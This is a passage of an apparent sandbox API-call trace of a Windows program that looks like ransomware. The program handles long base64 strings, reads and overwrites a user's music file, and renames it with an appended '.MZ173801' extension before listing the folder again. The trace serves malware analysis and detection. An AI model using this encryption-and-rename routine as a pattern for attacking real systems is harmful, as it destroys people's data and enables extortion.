lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0142.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0142.539] GetCurrentThreadId () returned 0x9fc [0142.539] GetCurrentThreadId () returned 0x9fc [0142.539] GetCurrentThreadId () returned 0x9fc [0142.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0142.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0142.540] GetCurrentThreadId () returned 0x9fc [0142.540] GetCurrentThreadId () returned 0x9fc [0142.540] GetCurrentThreadId () returned 0x9fc [0142.540] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0142.541] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0142.541] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0142.541] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x49e459 [0142.541] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0142.541] VirtualAlloc (lpAddress=0x0, dwSize=0x4b0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eaf0000 [0142.542] ReadFile (in: hFile=0x2a0, lpBuffer=0x7eaf0010, nNumberOfBytesToRead=0x49e459, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7eaf0010*, lpNumberOfBytesRead=0x18f6c4*=0x49e459, lpOverlapped=0x0) returned 1 [0142.677] CloseHandle (hObject=0x2a0) returned 1 [0142.678] VirtualAlloc (lpAddress=0x0, dwSize=0x4b0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e640000 [0142.681] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e5d0000 [0142.687] VirtualQuery (in: lpAddress=0x7e640000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e640000, AllocationBase=0x7e640000, AllocationProtect=0x4, RegionSize=0x4b0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.687] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e540000 [0142.697] VirtualQuery (in: lpAddress=0x7e5d0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e5d0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.697] VirtualAlloc (lpAddress=0x7e5d0000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e5d0000 [0142.697] VirtualAlloc (lpAddress=0x7e5d0000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e5d0000 [0142.700] VirtualQuery (in: lpAddress=0x7e600000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e600000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.700] VirtualAlloc (lpAddress=0x7e600000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e600000 [0142.700] VirtualAlloc (lpAddress=0x7e600000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e600000 [0142.704] VirtualQuery (in: lpAddress=0x7e630000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e630000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.704] VirtualAlloc (lpAddress=0x7e630000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e630000 [0142.704] VirtualAlloc (lpAddress=0x7e630000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e630000 [0142.705] VirtualQuery (in: lpAddress=0x7e640000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e640000, AllocationBase=0x7e640000, AllocationProtect=0x4, RegionSize=0x4b0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.705] VirtualAlloc (lpAddress=0x0, dwSize=0x140000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e400000 [0142.716] VirtualQuery (in: lpAddress=0x7e540000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e540000, AllocationBase=0x7e540000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.716] VirtualFree (lpAddress=0x7e540000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.719] VirtualQuery (in: lpAddress=0x7e5d0000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e5d0000, AllocationBase=0x7e5d0000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.719] VirtualFree (lpAddress=0x7e5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.720] VirtualQuery (in: lpAddress=0x7e600000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e600000, AllocationBase=0x7e600000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.720] VirtualFree (lpAddress=0x7e600000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.722] VirtualQuery (in: lpAddress=0x7e630000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e630000, AllocationBase=0x7e630000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.722] VirtualFree (lpAddress=0x7e630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.727] VirtualQuery (in: lpAddress=0x7e540000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e540000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x100000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.728] VirtualAlloc (lpAddress=0x7e540000, dwSize=0x50000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e540000 [0142.728] VirtualAlloc (lpAddress=0x7e540000, dwSize=0x50000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e540000 [0142.733] VirtualQuery (in: lpAddress=0x7e590000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e590000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.734] VirtualAlloc (lpAddress=0x7e590000, dwSize=0x70000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e590000 [0142.734] VirtualAlloc (lpAddress=0x7e590000, dwSize=0x70000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e590000 [0142.741] VirtualQuery (in: lpAddress=0x7e600000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e600000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.741] VirtualAlloc (lpAddress=0x7e600000, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e600000 [0142.741] VirtualAlloc (lpAddress=0x7e600000, dwSize=0x40000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e600000 [0142.745] VirtualQuery (in: lpAddress=0x7e640000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e640000, AllocationBase=0x7e640000, AllocationProtect=0x4, RegionSize=0x4b0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.746] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e130000 [0142.768] VirtualQuery (in: lpAddress=0x7e400000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e400000, AllocationBase=0x7e400000, AllocationProtect=0x4, RegionSize=0x140000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.769] VirtualFree (lpAddress=0x7e400000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.776] VirtualQuery (in: lpAddress=0x7e540000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e540000, AllocationBase=0x7e540000, AllocationProtect=0x4, RegionSize=0x50000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.776] VirtualFree (lpAddress=0x7e540000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.778] VirtualQuery (in: lpAddress=0x7e590000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e590000, AllocationBase=0x7e590000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.778] VirtualFree (lpAddress=0x7e590000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.780] VirtualQuery (in: lpAddress=0x7e600000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e600000, AllocationBase=0x7e600000, AllocationProtect=0x4, RegionSize=0x40000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.780] VirtualFree (lpAddress=0x7e600000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.791] VirtualQuery (in: lpAddress=0x7e400000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e400000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x240000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.791] VirtualAlloc (lpAddress=0x7e400000, dwSize=0xc0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e400000 [0142.791] VirtualAlloc (lpAddress=0x7e400000, dwSize=0xc0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e400000 [0142.803] VirtualQuery (in: lpAddress=0x7e4c0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e4c0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x180000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.803] VirtualAlloc (lpAddress=0x7e4c0000, dwSize=0xf0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e4c0000 [0142.804] VirtualAlloc (lpAddress=0x7e4c0000, dwSize=0xf0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e4c0000 [0142.819] VirtualQuery (in: lpAddress=0x7e5b0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e5b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x90000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.819] VirtualAlloc (lpAddress=0x7e5b0000, dwSize=0x90000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e5b0000 [0142.820] VirtualAlloc (lpAddress=0x7e5b0000, dwSize=0x90000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e5b0000 [0142.948] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0142.958] WriteFile (in: hFile=0x2a0, lpBuffer=0x7e640010*, nNumberOfBytesToWrite=0x49e459, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7e640010*, lpNumberOfBytesWritten=0x18f6d0*=0x49e459, lpOverlapped=0x0) returned 1 [0143.125] CloseHandle (hObject=0x2a0) returned 1 [0143.125] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.MZ173801" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3.mz173801")) returned 1 [0143.126] VirtualFree (lpAddress=0x7eaf0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.155] VirtualFree (lpAddress=0x7e640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.183] VirtualQuery (in: lpAddress=0x7e130000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7e130000, AllocationBase=0x7e130000, AllocationProtect=0x4, RegionSize=0x2d0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.184] VirtualFree (lpAddress=0x7e130000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.201] VirtualQuery (in: lpAddress=0x7e400000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7e400000, AllocationBase=0x7e400000, AllocationProtect=0x4, RegionSize=0xc0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.202] VirtualFree (lpAddress=0x7e400000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.207] VirtualQuery (in: lpAddress=0x7e4c0000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7e4c0000, AllocationBase=0x7e4c0000, AllocationProtect=0x4, RegionSize=0xf0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.207] VirtualFree (lpAddress=0x7e4c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.213] VirtualQuery (in: lpAddress=0x7e5b0000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7e5b0000, AllocationBase=0x7e5b0000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.213] VirtualFree (lpAddress=0x7e5b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.215] GetCurrentThreadId () returned 0x9fc [0143.215] GetCurrentThreadId () returned 0x9fc [0143.215] GetCurrentThreadId () returned 0x9fc [0143.215] GetCurrentThreadId () returned 0x9fc [0143.215] GetCurrentThreadId () returned 0x9fc [0143.215] GetCurrentThreadId () returned 0x9fc [0143.215] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 0 [0143.215] GetLastError () returned 0x12 [0143.216] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0143.216] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa62083a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, 